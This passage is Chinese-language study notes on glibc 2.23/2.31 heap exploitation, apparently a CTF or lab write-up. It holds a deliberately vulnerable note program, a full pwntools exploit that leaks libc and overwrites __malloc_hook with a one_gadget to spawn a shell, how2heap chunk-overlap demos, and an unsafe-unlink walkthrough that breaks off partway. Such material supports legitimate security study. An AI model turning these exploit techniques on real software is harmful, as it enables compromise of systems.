malloc-fastbin all
malloc(): memory corruption (fast)
glibc 2.32
malloc(): unaligned fastbin chunk detected 1/2/3
https://www.yizishun.com/index.php/2024/02/10/glibc-2-31-malloc%E7%9B%B8%E5%85%B3%E6%BA%90%E7%A0%81%E5%88%9D%E6%8E%A2/#int_malloc_han_shu_he_int_free_han_shu
free-fastbin
free(): invalid next size (fast)
double free or corruption (fasttop)
invalid fastbin entry (free)
Unlink
corrupted size vs. prev_size
corrupted double-linked list
corrupted double-linked list (not small)
malloc-unsorted bin ref https://www.yizishun.com/index.php/2024/02/10/glibc-2-31-malloc%E7%9B%B8%E5%85%B3%E6%BA%90%E7%A0%81%E5%88%9D%E6%8E%A2/
https://bestwing.me/Education_Heap_Exploit_glibc_2.31.html
Tcache dup(glibc 2.31) demo source code 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 #include <stdio.h> #include <stdlib.h> char *g_ptrs[0x20 ];int g_size[0x20 ];int g_used[0x20 ];int idx = 0 ;void init () { setvbuf(stdin , 0 , _IONBF, 0 ); setvbuf(stdout , 0 , _IONBF, 0 ); } int read_num () { int num; scanf ("%d" , &num); return num; } void menu () { puts ("=== Note System v1.87 ===" ); puts ("1) Create Note" ); puts ("2) Create Note in NEW way" ); puts ("3) Get Note" ); puts ("4) Set Note" ); puts ("5) Delete Note" ); puts ("6) Bye" ); printf ("# " ); } void create () { int size; if (idx >= 0x20 ) { return ; } printf ("size:\n" ); scanf ("%d" , &size); g_ptrs[idx] = malloc (size); g_size[idx] = size; g_used[idx] = 1 ; printf ("Create: g_ptrs[%d]\n" , idx); idx++; } void create2 () { int size; if (idx >= 0x20 ) { return ; } printf ("size:\n" ); scanf ("%d" , &size); g_ptrs[idx] = calloc (1 , size); g_size[idx] = size; g_used[idx] = 1 ; printf ("Create: g_ptrs[%d]\n" , idx); idx++; } void get () { int idx; printf ("idx:\n" ); scanf ("%d" , &idx); if (g_used[idx]) { printf ("g_ptrs[%d]: %s\n" , idx, g_ptrs[idx]); } } void set () { int idx; printf ("idx:\n" ); scanf ("%d" , &idx); if (g_used[idx]) { printf ("str:\n" ); read(0 , g_ptrs[idx], g_size[idx]); } } void delete () { int idx; printf ("idx:\n" ); scanf ("%d" , &idx); if (g_ptrs[idx]) { free (g_ptrs[idx]); g_used[idx] = 0 ; } } int main (void ) { init(); while (1 ) { menu(); switch (read_num()) { case 1 : create(); break ; case 2 : create2(); break ; case 3 : get(); break ; case 4 : set (); break ; case 5 : delete(); break ; case 6 : return 0 ; default : exit (1 ); } } return 0 ; }
分析 可以做這些
1 2 3 4 5 6 7 8 9 10 11 void menu () { puts ("=== Note System v1.87 ===" ); puts ("1) Create Note" ); puts ("2) Create Note in NEW way" ); puts ("3) Get Note" ); puts ("4) Set Note" ); puts ("5) Delete Note" ); puts ("6) Bye" ); printf ("# " ); }
這邊可以發現他有兩種create,malloc跟calloc,這裡有個重點,就是calloc拿到的chunk不會是從tcache裡面拿
剩下就是常規操作,可以拿到chunk內容、設定chunk內容、刪掉chunk
現在版本是glibc 2.31,所以說會有tcache key來防double free
image
我們可以透過把tcache塞滿,讓chunk進到fastbin來做操作,這樣就可以做fastbin dup
那我們先leak libc,這邊用unsorted bin,先malloc一個大chunk,然後delete在malloc,就可以讀出fd的libc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 from pwn import *DEBUG=input ('open debug?(y/n)' ) if DEBUG=='y' : context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' ] r=process('./fastbin_dup' ) def create1 (size ): r.sendlineafter(b'#' ,b'1' ) r.sendlineafter(b'size:' ,str (size).encode()) def create2 (size ): r.sendlineafter(b'#' ,b'2' ) r.sendlineafter(b'size' ,str (size).encode()) def get (index ): r.sendlineafter(b'#' ,b'3' ) r.sendlineafter(b'idx:' ,str (index).encode()) r.recvuntil(b']: ' ) rec=r.recvline().strip() return rec def set (index, chunkstr ): r.sendlineafter(b'#' ,b'4' ) r.sendlineafter(b'idx:' ,str (index).encode()) r.sendafter(b'str' ,chunkstr) def delete (index ): r.sendlineafter(b'#' ,b'5' ) r.sendlineafter(b'idx:' , str (index).encode()) if DEBUG=='y' : gdb.attach(r) create1(0x440 ) for i in range (7 ): create1(0x60 ) delete(0 ) create1(0x440 ) leak_libc=u64(get(8 ).ljust(8 ,b'\0' )) libc_offset=0x1ecbe0 libc_base=leak_libc-libc_offset print ("NAUPINFO @ LEAK LIBC: " ,hex (leak_libc))print ("NAUPINFO @ LIBC BASE: " ,hex (libc_base))r.interactive()
再來刪掉7個chunk塞滿tcache bin 剩下的就會進到fastbin,來bypass key檢查,接下來就是fastbindup 申請兩塊chunk(chunk 1 -> idx 9、chunk 2 -> idx 10) 然後 delete chunk 1 delete chunk 2 delete chunk 1
1 fastbin -> chunk 1 -> chunk 2 -> chunk 1 -> ...
calloc拿到chunk 1(idx 11) 寫入malloc_hook
1 fastbin -> chunk 2 -> chunk 1 -> malloc hook
寫到這裡偽造chunk(現在的fastbin又變回了指向header)
image
image
之後在malloc_hook寫入one gadget,之後呼叫malloc就可以跳到onegadget了
get shell~
script 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 from pwn import *DEBUG=input ('open debug?(y/n)' ) if DEBUG=='y' : context.log_level = 'debug' context.terminal = ['tmux' , 'splitw' , '-h' ] r=process('./fastbin_dup' ) def create1 (size ): r.sendlineafter(b'#' ,b'1' ) r.sendlineafter(b'size:' ,str (size).encode()) def create2 (size ): r.sendlineafter(b'#' ,b'2' ) r.sendlineafter(b'size' ,str (size).encode()) def get (index ): r.sendlineafter(b'#' ,b'3' ) r.sendlineafter(b'idx:' ,str (index).encode()) r.recvuntil(b']: ' ) rec=r.recvline().strip() return rec def set (index, chunkstr ): r.sendlineafter(b'#' ,b'4' ) r.sendlineafter(b'idx:' ,str (index).encode()) r.sendafter(b'str' ,chunkstr) def delete (index ): r.sendlineafter(b'#' ,b'5' ) r.sendlineafter(b'idx:' , str (index).encode()) if DEBUG=='y' : gdb.attach(r) create1(0x440 ) for i in range (7 ): create1(0x60 ) delete(0 ) create1(0x440 ) leak_libc=u64(get(8 ).ljust(8 ,b'\0' )) libc_offset=0x1ecbe0 libc_base=leak_libc-libc_offset print ("NAUPINFO @ LEAK LIBC: " ,hex (leak_libc))print ("NAUPINFO @ LIBC BASE: " ,hex (libc_base))for i in range (1 ,8 ): delete(i) create2(0x60 ) create2(0x60 ) delete(9 ) delete(10 ) delete(9 ) create2(0x60 ) malloc_hook_offset=0x1ecb70 libc_malloc_hook=libc_base+malloc_hook_offset print ("NAUPINFO @ MALLOC HOOK: " ,hex (libc_malloc_hook))malloc_hook_chunk=libc_malloc_hook-0x33 print ("NAUPINFO @ MALLOC HOOK CHUNK: " ,hex (malloc_hook_chunk))set (11 ,p64(malloc_hook_chunk))create2(0x60 ) create2(0x60 ) create2(0x60 ) onegadget=0xe3b01 +libc_base print ("NAUPINFO @ ONE GADGET: " ,hex (onegadget))set (14 ,b'a' *0x23 +p64(onegadget))create1(0x40 ) r.interactive()
另外解法 這邊嘗試用另外一種解法,就是把malloc hook改成system,然後把其中一個位置寫成/bin/sh傳入(另外還要leak libc、leak heap)
consolidate 共有三種合併方式
forward consolidate
backward consolidate
malloc consolidate
若要將兩塊free chunk合併可以採用,調整一塊大小,並把另外一塊從鍊表中移掉
(backward consolidate)
image
接下來可以看到下面的unsafe unlink,來看攻擊手法
source code(Glibc 2.31) https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L4326
1 2 3 4 5 6 7 8 9 10 if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long ) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating" ); unlink_chunk (av, p); }
https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L1451
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 static void unlink_chunk (mstate av, mchunkptr p) { if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size" ); mchunkptr fd = p->fd; mchunkptr bk = p->bk; if (__builtin_expect (fd->bk != p || bk->fd != p, 0 )) malloc_printerr ("corrupted double-linked list" ); fd->bk = bk; bk->fd = fd; if (!in_smallbin_range (chunksize_nomask (p)) && p->fd_nextsize != NULL ) { if (p->fd_nextsize->bk_nextsize != p || p->bk_nextsize->fd_nextsize != p) malloc_printerr ("corrupted double-linked list (not small)" ); if (fd->fd_nextsize == NULL ) { if (p->fd_nextsize == p) fd->fd_nextsize = fd->bk_nextsize = fd; else { fd->fd_nextsize = p->fd_nextsize; fd->bk_nextsize = p->bk_nextsize; p->fd_nextsize->bk_nextsize = fd; p->bk_nextsize->fd_nextsize = fd; } } else { p->fd_nextsize->bk_nextsize = p->bk_nextsize; p->bk_nextsize->fd_nextsize = p->fd_nextsize; } } }
how2heap(glibc 2.23 fastbindup consolidate) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 #include <stdio.h> #include <stdint.h> #include <stdlib.h> #include <string.h> int main () { void * p1 = malloc (0x10 ); strcpy (p1, "AAAAAAAA" ); void * p2 = malloc (0x10 ); strcpy (p2, "BBBBBBBB" ); fprintf (stderr , "申請兩個 fastbin 範圍內的 chunk: p1=%p p2=%p\n" , p1, p2); fprintf (stderr , "先 free p1\n" ); free (p1); void * p3 = malloc (0x400 ); fprintf (stderr , "去申請 largebin 大小的 chunk,觸發 malloc_consolidate(): p3=%p\n" , p3); fprintf (stderr , "因為 malloc_consolidate(), p1 會被放到 unsorted bin 中\n" ); free (p1); fprintf (stderr , "這時候 p1 不在 fastbin 鏈表的頭部了,所以可以再次 free p1 造成 double free\n" ); void * p4 = malloc (0x10 ); strcpy (p4, "CCCCCCC" ); void * p5 = malloc (0x10 ); strcpy (p5, "DDDDDDDD" ); fprintf (stderr , "現在 fastbin 和 unsortedbin 中都放著 p1 的指針,所以我們可以 malloc 兩次都到 p1: %p %p\n" , p4, p5); }
tcache overlap 讓不同的chunk發生重疊的狀況
假設chunk A 的data跟chunk B不可寫部份發生重疊可能發生問題
source code(glibc 2.23) https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L4001 這邊看看backward consolidate source code
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 static void malloc_consolidate (mstate av) { mfastbinptr* fb; mfastbinptr* maxfb; mchunkptr p; mchunkptr nextp; mchunkptr unsorted_bin; mchunkptr first_unsorted; mchunkptr nextchunk; INTERNAL_SIZE_T size; INTERNAL_SIZE_T nextsize; INTERNAL_SIZE_T prevsize; int nextinuse; atomic_store_relaxed (&av->have_fastchunks, false ); unsorted_bin = unsorted_chunks(av); maxfb = &fastbin (av, NFASTBINS - 1 ); fb = &fastbin (av, 0 ); do { p = atomic_exchange_acq (fb, NULL ); if (p != 0 ) { do { { unsigned int idx = fastbin_index (chunksize (p)); if ((&fastbin (av, idx)) != fb) malloc_printerr ("malloc_consolidate(): invalid chunk size" ); } check_inuse_chunk(av, p); nextp = p->fd; size = chunksize (p); nextchunk = chunk_at_offset(p, size); nextsize = chunksize(nextchunk); if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long ) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size in fastbins" ); unlink_chunk (av, p); } if (nextchunk != av->top) { nextinuse = inuse_bit_at_offset(nextchunk, nextsize); if (!nextinuse) { size += nextsize; unlink_chunk (av, nextchunk); } else clear_inuse_bit_at_offset(nextchunk, 0 ); first_unsorted = unsorted_bin->fd; unsorted_bin->fd = p; first_unsorted->bk = p; if (!in_smallbin_range (size)) { p->fd_nextsize = NULL ; p->bk_nextsize = NULL ; } set_head(p, size | PREV_INUSE); p->bk = unsorted_bin; p->fd = first_unsorted; set_foot(p, size); } else { size += nextsize; set_head(p, size | PREV_INUSE); av->top = p; } } while ( (p = nextp) != 0 ); } } while (fb++ != maxfb); }
2.31後會多檢查prev size跟chunk size大小是否一樣,這邊則沒有
接下來一樣進入unlink 後面都一樣,詳情見下方unlink
how2heap(glibc 2.23) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> int main (int argc , char * argv[]) { intptr_t *p1,*p2,*p3,*p4; fprintf (stderr , "\n這是一個簡單的區塊重疊問題\n\n" ); fprintf (stderr , "我們先分配三個區塊在堆上\n" ); p1 = malloc (0x100 - 8 ); p2 = malloc (0x100 - 8 ); p3 = malloc (0x80 - 8 ); fprintf (stderr , "這三個區塊被分配在以下位置:\np1=%p\np2=%p\np3=%p\n" , p1, p2, p3); memset (p1, '1' , 0x100 - 8 ); memset (p2, '2' , 0x100 - 8 ); memset (p3, '3' , 0x80 - 8 ); fprintf (stderr , "\n現在我們釋放區塊 p2\n" ); free (p2); fprintf (stderr , "區塊 p2 現在位於未排序的 bin 中,準備為可能的新 malloc() 提供服務,其大小相同\n" ); fprintf (stderr , "現在我們模擬一個溢出,這可以覆蓋已釋放的區塊 p2 的大小。\n" ); fprintf (stderr , "對於一個簡單的程序,最後 3 個位的值並不重要;" "然而,為了保持堆的穩定性,我們最好將最不重要的位標記為 1(prev_inuse)," "以確保 p1 不會被誤認為是一個空閒區塊。\n" ); int evil_chunk_size = 0x181 ; int evil_region_size = 0x180 - 8 ; fprintf (stderr , "我們將把區塊 p2 的大小設為 %d,這將給我們一個 %d 的區域大小\n" , evil_chunk_size, evil_region_size); *(p2-1 ) = evil_chunk_size; fprintf (stderr , "\n現在我們分配另一個區塊,其大小等於區塊 p2 修改後的數據大小\n" ); fprintf (stderr , "這次 malloc 將由先前釋放的區塊提供服務,該區塊停留在未排序的 bin 中," "其大小已被我們修改\n" ); p4 = malloc (evil_region_size); fprintf (stderr , "\np4 已被分配在 %p 並結束於 %p\n" , (char *)p4, (char *)p4+evil_region_size); fprintf (stderr , "p3 開始於 %p 並結束於 %p\n" , (char *)p3, (char *)p3+0x80 -8 ); fprintf (stderr , "p4 應該與 p3 重疊,在這種情況下 p4 包含了所有的 p3。\n" ); fprintf (stderr , "\n現在,任何複製到區塊 p4 的內容都可以覆蓋區塊 p3 中的數據," "並且寫入區塊 p3 的數據可以覆蓋存儲在區塊 p4 中的數據。\n\n" ); fprintf (stderr , "讓我們來舉個例子。現在,我們有:\n" ); fprintf (stderr , "p4 = %s\n" , (char *)p4); fprintf (stderr , "p3 = %s\n" , (char *)p3); fprintf (stderr , "\n如果我們 memset(p4, '4', %d),我們將得到:\n" , evil_region_size); memset (p4, '4' , evil_region_size); fprintf (stderr , "p4 = %s\n" , (char *)p4); fprintf (stderr , "p3 = %s\n" , (char *)p3); fprintf (stderr , "\n如果我們接著 memset(p3, '3', 80),我們將得到:\n" ); memset (p3, '3' , 80 ); fprintf (stderr , "p4 = %s\n" , (char *)p4); fprintf (stderr , "p3 = %s\n" , (char *)p3); }
首先先malloc了三塊,然後memeset到next chunk size前面
1 2 3 4 5 6 pwndbg> parseheap addr prev size status fd bk 0x9f2000 0x0 0x100 Used None None 0x9f2100 0x3131313131313131 0x100 Used None None 0x9f2200 0x3232323232323232 0x80 Used None None
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 pwndbg> x/80xg 0x9f2000 0x9f2000: 0x0000000000000000 0x0000000000000101 0x9f2010: 0x3131313131313131 0x3131313131313131 0x9f2020: 0x3131313131313131 0x3131313131313131 0x9f2030: 0x3131313131313131 0x3131313131313131 0x9f2040: 0x3131313131313131 0x3131313131313131 0x9f2050: 0x3131313131313131 0x3131313131313131 0x9f2060: 0x3131313131313131 0x3131313131313131 0x9f2070: 0x3131313131313131 0x3131313131313131 0x9f2080: 0x3131313131313131 0x3131313131313131 0x9f2090: 0x3131313131313131 0x3131313131313131 0x9f20a0: 0x3131313131313131 0x3131313131313131 0x9f20b0: 0x3131313131313131 0x3131313131313131 0x9f20c0: 0x3131313131313131 0x3131313131313131 0x9f20d0: 0x3131313131313131 0x3131313131313131 0x9f20e0: 0x3131313131313131 0x3131313131313131 0x9f20f0: 0x3131313131313131 0x3131313131313131 0x9f2100: 0x3131313131313131 0x0000000000000101 0x9f2110: 0x3232323232323232 0x3232323232323232 0x9f2120: 0x3232323232323232 0x3232323232323232 0x9f2130: 0x3232323232323232 0x3232323232323232 0x9f2140: 0x3232323232323232 0x3232323232323232 0x9f2150: 0x3232323232323232 0x3232323232323232 0x9f2160: 0x3232323232323232 0x3232323232323232 0x9f2170: 0x3232323232323232 0x3232323232323232 0x9f2180: 0x3232323232323232 0x3232323232323232 0x9f2190: 0x3232323232323232 0x3232323232323232 0x9f21a0: 0x3232323232323232 0x3232323232323232 0x9f21b0: 0x3232323232323232 0x3232323232323232 0x9f21c0: 0x3232323232323232 0x3232323232323232 0x9f21d0: 0x3232323232323232 0x3232323232323232 0x9f21e0: 0x3232323232323232 0x3232323232323232 0x9f21f0: 0x3232323232323232 0x3232323232323232 0x9f2200: 0x3232323232323232 0x0000000000000081 0x9f2210: 0x3333333333333333 0x3333333333333333 0x9f2220: 0x3333333333333333 0x3333333333333333 0x9f2230: 0x3333333333333333 0x3333333333333333 0x9f2240: 0x3333333333333333 0x3333333333333333 0x9f2250: 0x3333333333333333 0x3333333333333333 0x9f2260: 0x3333333333333333 0x3333333333333333 0x9f2270: 0x3333333333333333 0x3333333333333333
現在我們free掉chunk 2,他會進到unsorted bin
1 2 last_remainder: 0x0 (size : 0x0) unsortbin: 0x9f2100 (size : 0x100)
接下來假設有溢出問題,可以蓋掉chunk2 size
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 pwndbg> x/80xg 0x9f2000 0x9f2000: 0x0000000000000000 0x0000000000000101 0x9f2010: 0x3131313131313131 0x3131313131313131 0x9f2020: 0x3131313131313131 0x3131313131313131 0x9f2030: 0x3131313131313131 0x3131313131313131 0x9f2040: 0x3131313131313131 0x3131313131313131 0x9f2050: 0x3131313131313131 0x3131313131313131 0x9f2060: 0x3131313131313131 0x3131313131313131 0x9f2070: 0x3131313131313131 0x3131313131313131 0x9f2080: 0x3131313131313131 0x3131313131313131 0x9f2090: 0x3131313131313131 0x3131313131313131 0x9f20a0: 0x3131313131313131 0x3131313131313131 0x9f20b0: 0x3131313131313131 0x3131313131313131 0x9f20c0: 0x3131313131313131 0x3131313131313131 0x9f20d0: 0x3131313131313131 0x3131313131313131 0x9f20e0: 0x3131313131313131 0x3131313131313131 0x9f20f0: 0x3131313131313131 0x3131313131313131 0x9f2100: 0x3131313131313131 0x0000000000000181 0x9f2110: 0x000070cfb3cd1b78 0x000070cfb3cd1b78 0x9f2120: 0x3232323232323232 0x3232323232323232 0x9f2130: 0x3232323232323232 0x3232323232323232 0x9f2140: 0x3232323232323232 0x3232323232323232 0x9f2150: 0x3232323232323232 0x3232323232323232 0x9f2160: 0x3232323232323232 0x3232323232323232 0x9f2170: 0x3232323232323232 0x3232323232323232 0x9f2180: 0x3232323232323232 0x3232323232323232 0x9f2190: 0x3232323232323232 0x3232323232323232 0x9f21a0: 0x3232323232323232 0x3232323232323232 0x9f21b0: 0x3232323232323232 0x3232323232323232 0x9f21c0: 0x3232323232323232 0x3232323232323232 0x9f21d0: 0x3232323232323232 0x3232323232323232 0x9f21e0: 0x3232323232323232 0x3232323232323232 0x9f21f0: 0x3232323232323232 0x3232323232323232 0x9f2200: 0x0000000000000100 0x0000000000000080 0x9f2210: 0x3333333333333333 0x3333333333333333 0x9f2220: 0x3333333333333333 0x3333333333333333 0x9f2230: 0x3333333333333333 0x3333333333333333 0x9f2240: 0x3333333333333333 0x3333333333333333 0x9f2250: 0x3333333333333333 0x3333333333333333 0x9f2260: 0x3333333333333333 0x3333333333333333 0x9f2270: 0x3333333333333333 0x3333333333333333
0x101變成0x181
1 2 last_remainder: 0x0 (size : 0x0) unsortbin: 0x9f2100 (size : 0x180)
這時候我們去malloc一個0x178大小的chunk 此時chunk 4和chunk 3大小重疊
可以覆蓋到其他chunk上
how2heap(glibc 2.23 -2) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <malloc.h> int main () { intptr_t *p1,*p2,*p3,*p4,*p5,*p6; unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6; int prev_in_use = 0x1 ; fprintf (stderr , "\n這是一個簡單的chunk重疊問題" ); fprintf (stderr , "\n這也被稱為非鄰近釋放chunk合併攻擊\n" ); fprintf (stderr , "\n讓我們開始在堆上分配5個chunk:" ); p1 = malloc (1000 ); p2 = malloc (1000 ); p3 = malloc (1000 ); p4 = malloc (1000 ); p5 = malloc (1000 ); real_size_p1 = malloc_usable_size(p1); real_size_p2 = malloc_usable_size(p2); real_size_p3 = malloc_usable_size(p3); real_size_p4 = malloc_usable_size(p4); real_size_p5 = malloc_usable_size(p5); fprintf (stderr , "\n\nchunk p1 從 %p 到 %p" , p1, (unsigned char *)p1+malloc_usable_size(p1)); fprintf (stderr , "\nchunk p2 從 %p 到 %p" , p2, (unsigned char *)p2+malloc_usable_size(p2)); fprintf (stderr , "\nchunk p3 從 %p 到 %p" , p3, (unsigned char *)p3+malloc_usable_size(p3)); fprintf (stderr , "\nchunk p4 從 %p 到 %p" , p4, (unsigned char *)p4+malloc_usable_size(p4)); fprintf (stderr , "\nchunk p5 從 %p 到 %p\n" , p5, (unsigned char *)p5+malloc_usable_size(p5)); memset (p1,'A' ,real_size_p1); memset (p2,'B' ,real_size_p2); memset (p3,'C' ,real_size_p3); memset (p4,'D' ,real_size_p4); memset (p5,'E' ,real_size_p5); fprintf (stderr , "\n讓我們釋放chunk p4。\n在這種情況下,這不會與top chunk合併,因為我們有p5緊挨著top chunk在p4之後\n" ); free (p4); fprintf (stderr , "\n讓我們在chunk p1上觸發漏洞,覆寫使用中的chunk p2的大小\n使用chunk_p2的大小+chunk_p3的大小\n" ); *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof (size_t ) * 2 ; fprintf (stderr , "\n現在在對p2進行free()操作期間,分配器會被愚弄,以為\n下一個chunk是p4(因為p2 + size_p2現在指向p4)\n" ); fprintf (stderr , "\n這個操作將基本上創建一個錯誤地包含p3的大free chunk\n" ); free (p2); fprintf (stderr , "\n現在讓我們分配一個新chunk,其大小可以由先前釋放的chunk滿足\n" ); p6 = malloc (2000 ); real_size_p6 = malloc_usable_size(p6); fprintf (stderr , "\n我們的malloc()已經由我們製造的大free chunk滿足,現在p6和p3重疊,\n我們可以通過在chunk p6中寫入來覆寫p3中的數據\n" ); fprintf (stderr , "\nchunk p6 從 %p 到 %p" , p6, (unsigned char *)p6+real_size_p6); fprintf (stderr , "\nchunk p3 從 %p 到 %p\n" , p3, (unsigned char *) p3+real_size_p3); fprintf (stderr , "\nchunk p3中的數據: \n\n" ); fprintf (stderr , "%s\n" ,(char *)p3); fprintf (stderr , "\n讓我們在p6中寫入一些內容\n" ); memset (p6,'F' ,1500 ); fprintf (stderr , "\nchunk p3中的數據: \n\n" ); fprintf (stderr , "%s\n" ,(char *)p3); }
首先先malloc了五個chunk
1 2 3 4 5 6 7 pwndbg> parseheap addr prev size status fd bk 0xbdb000 0x0 0x3f0 Used None None 0xbdb3f0 0x0 0x3f0 Used None None 0xbdb7e0 0x0 0x3f0 Used None None 0xbdbbd0 0x0 0x3f0 Used None None 0xbdbfc0 0x0 0x3f0 Used None None
然後memset
1 2 3 4 5 6 7 pwndbg> parseheap addr prev size status fd bk 0x2159000 0x0 0x3f0 Used None None 0x21593f0 0x4141414141414141 0x3f0 Used None None 0x21597e0 0x4242424242424242 0x3f0 Used None None 0x2159bd0 0x4343434343434343 0x3f0 Used None None 0x2159fc0 0x4444444444444444 0x3f0 Used None None
free掉chunk 4
1 unsortbin: 0x2159bd0 (size : 0x3f0)
接下來改寫chunk2的大小,讓他以為下個chunk是 4 (修改為chunk 2 + chunk 3大小 0x3f0+0x3f0=0x7e0)
1 2 3 4 5 addr prev size status fd bk 0x2159000 0x0 0x3f0 Used None None 0x21593f0 0x4141414141414141 0x7e0 Used None None 0x2159bd0 0x4343434343434343 0x3f0 Freed 0x771ada8d5b78 0x771ada8d5b78 0x2159fc0 0x3f0 0x3f0 Used None None
free掉chunk 2後會把chunk 3一起包進去 malloc 2000就可以任意寫chunk3了
Unsafe unlink(Glibc 2.31) 原理 先假設我們現在有兩個ptr,ptr1、ptr2(存在一個陣列)指向兩塊malloc的記憶體
1 2 3 4 5 | | #ptr-0x18 | | #ptr-0x10 | | #ptr-0x8 | ptr1 | | ptr2 |
1 2 3 4 5 6 7 8 9 10 11 -------------------------- |prev size/data| size | | fd | bk | <-ptr1 | | | | | | -------------------------- |prev size/data| size | | fd | bk | <-ptr2 | | | | | | --------------------------
內容具體長這樣,兩塊0x430大小的chunk
1 2 3 4 5 6 7 8 9 10 11 -------------------------- | 0 | 0x431 | | 0 | 0 | <-ptr1 | | | | | | -------------------------- | 0 | 0x431 | | 0 | 0 | <-ptr2 | | | | | | --------------------------
這邊有個越界寫1 byte的漏洞,我這樣寫
1 2 3 4 5 6 7 8 9 10 11 --------------------------- <-ptr1 | 0 | 0x431 | | 0 | 0x421 | | &ptr1-0x18 |&ptr1-0x10| | payload | payload | --------------------------- <-ptr2 | 0x420 | 0x430 | #這邊多寫一個byte把0x431寫成0x430 | 0 | 0 | | | | | | | ---------------------------
首先看到0x430,P bit是0他會以為上一塊是free chunk,想跟上一塊做合併 看下方source code可以看到他抓offset抓prev size抓到了0x420所以往前抓到了0x421那行我們做的那邊free chunk,開始consolidate
1 2 3 4 5 6 7 8 9 if (!prev_inuse(p)) { prevsize = prev_size (p); size += prevsize; p = chunk_at_offset(p, -((long ) prevsize)); if (__glibc_unlikely (chunksize(p) != prevsize)) malloc_printerr ("corrupted size vs. prev_size while consolidating" ); unlink_chunk (av, p); }
https://elixir.bootlin.com/glibc/glibc-2.31/source/malloc/malloc.c#L4326
進六步檢查 先檢查pre size,因為我們改寫所以相等 -> OK
1 2 if (chunksize (p) != prev_size (next_chunk (p))) malloc_printerr ("corrupted size vs. prev_size" );
再來,這邊簡單來說就是讓我們做的fake chunk fd指向fd內容,bk指向bk內容
1 2 mchunkptr fd = p->fd; mchunkptr bk = p->bk;
所以變成
1 2 3 4 5 6 7 8 9 10 11 --------------------------- | 0 | 0x431 | | 0 | 0x421 | <-ptr1 | &ptr1-0x18 |&ptr1-0x10| #分別為fd、bk | payload | payload | --------------------------- | 0x420 | 0x430 | #這邊多寫一個byte把0x431寫成0x430 | 0 | 0 | <-ptr2 | | | | | | ---------------------------
1 2 3 4 5 fake chunk fd -> | | #ptr-0x18 fake chunk bk -> | | #ptr-0x10 | | #ptr-0x8 | ptr1 | | ptr2 |
再來進檢查,fake chunk fd指向chunk的bk(就是ptr1)指向是否跟p(就是剛剛算的offset)指向位置相同
1 2 if (__builtin_expect (fd->bk != p || bk->fd != p, 0 )) malloc_printerr ("corrupted double-linked list" );
這邊把陣列當作chunk的話
1 2 3 4 5 |prev/data| #ptr-0x18 | size | #ptr-0x10 | (fd) | #ptr-0x8 | ptr1(bk)| | ptr2 |
很顯然的p跟ptr1指向fake chunk跟p指向的位置相同 -> OK
再來是,fake chunk bk指向chunk的fd(就是ptr1)指向是否跟p(就是剛剛算的offset)指向位置相同
這邊把陣列當作chunk的話
1 2 3 4 5 | | #ptr-0x18 |prev/data| #ptr-0x10 | size | #ptr-0x8 | ptr1(fd)| | ptr2(bk)|
